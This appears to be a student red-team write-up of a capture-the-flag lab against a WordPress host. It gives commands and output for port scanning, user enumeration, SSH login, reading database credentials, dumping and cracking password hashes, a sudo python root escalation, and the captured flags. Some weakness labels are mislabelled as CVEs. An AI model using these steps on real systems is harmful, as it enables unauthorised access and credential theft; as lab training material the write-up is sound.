

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sV 192.168.1.110
```

```
Shell No.1
File Actions Edit View Help
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-24 19:48 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.39 seconds
root@Kali:~# █
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/tcp: SSH is open
Severity: 8.8
CVE-2017-3819
 - Port 80/tcp: HTTP is open
Severity: 8.8
CVE-2019-17147
 - Port 111/tcp: rpcbind is open
Severity: 7.5
CVE-2017-8779
 - Port 139/tcp: netbios-ssn is open
Severity: N/A
CVE-2007-3923

-Port 445/tcp: netbios-ssn is open

The following vulnerabilities were identified on each target:

- Target 1

- User Enumeration via Wordpress - CVE-2009-2335
- Weak Passwords Policy - CVE-521
- Unsalted Password Hashes - CVE-916

Exploitation

```
$ wpscan --url http://192.168.1.110 /wordpress -enumerate u
```

```
Brute Forcing Author IDs - Time: 00:00:00 <===== > (10 / 10) 100.00%
[i] User(s) Identified:
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Tue May 24 20:10:32 2022
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 11.297 KB
[+] Data Received: 284.802 KB
[+] Memory used: 123.758 MB
[+] Elapsed time: 00:00:02
root@Kali:~#
```

Use identified user to connect to port22

Use command “\$ ssh michael@192.168.1.110” to login as Michael, and go through the files inside his user account

```

root@Kali:~# ssh michael@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pi835oSDo8
.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$ █

```

```

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

```

Use command “\$ mysql -u root -p” and password we found in michael’s file to g access to database

```

michael@target1:/var/www/html$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> █

```

Find username and password hash by going through the database

		flag3			draft		open		open		
		2018-08-13 01:48:31		2018-08-13 01:48:31				0		0	
		0	post								
5	1	2018-08-12 23:31:59		2018-08-12 23:31:59	flag4{715dea6c055b9fe3337544932f2941ce}						
		flag4			inherit		closed		closed		4-revision-v1
		2018-08-12 23:31:59		2018-08-12 23:31:59				0		4	http://raven.local/wordpress/index.php/2
		0	revision								
7	2	2018-08-13 01:48:31		2018-08-13 01:48:31	flag3{afc01ab56b50591e7dccf93122770cd2}			0			

```
mysql> select user_login, user_pass from wp_users;
+-----+-----+
| user_login | user_pass          |
+-----+-----+
| michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
| steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
+-----+-----+
2 rows in set (0.00 sec)
```

```
mysql> █
```

Put both username and password hash into a .txt file, and then use john to crack the hash

```
root@Kali:~# john hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84      (steven)
1g 0:00:09:42 3/3 0.001718g/s 10724p/s 17079c/s 17079C/s mcamik2..samart2
█
```

Connect to Steven's ssh using cracked password

```
File Actions Edit View Help
michael@target1: ~ █ Shell No. 2 █
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:
█
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 25 14:39:12 2022 from 192.168.1.90
$ █
```

```
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# █
```

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1

```
michael@target1:/var/www/html$ cat service.html | grep flag  
←— flag1{b9bbcb33e11b80be759c4e844862482d} →  
michael@target1:/var/www/html$
```

- Flag1.txt: b9bbcb33e11b80be759c4e844862482d

- **Exploit Used**

- \$ ssh michael@192.168.1.110
 - \$ cd /var/www/html
 - \$ cat service.html | grep flag

```
michael@target1:/var/www$ ls  
flag2.txt  html  
michael@target1:/var/www$ cat flag2.txt  
flag2{fc3fd58dcd9ab23faca6e9a36e581c}
```

- Flag2.txt: fc3fd58dcd9ab23faca6e9a36e581c

- **Exploit Used**

- \$ ssh michael@192.168.1.110
 - \$ cd /var/www
 - \$ cat flag2.txt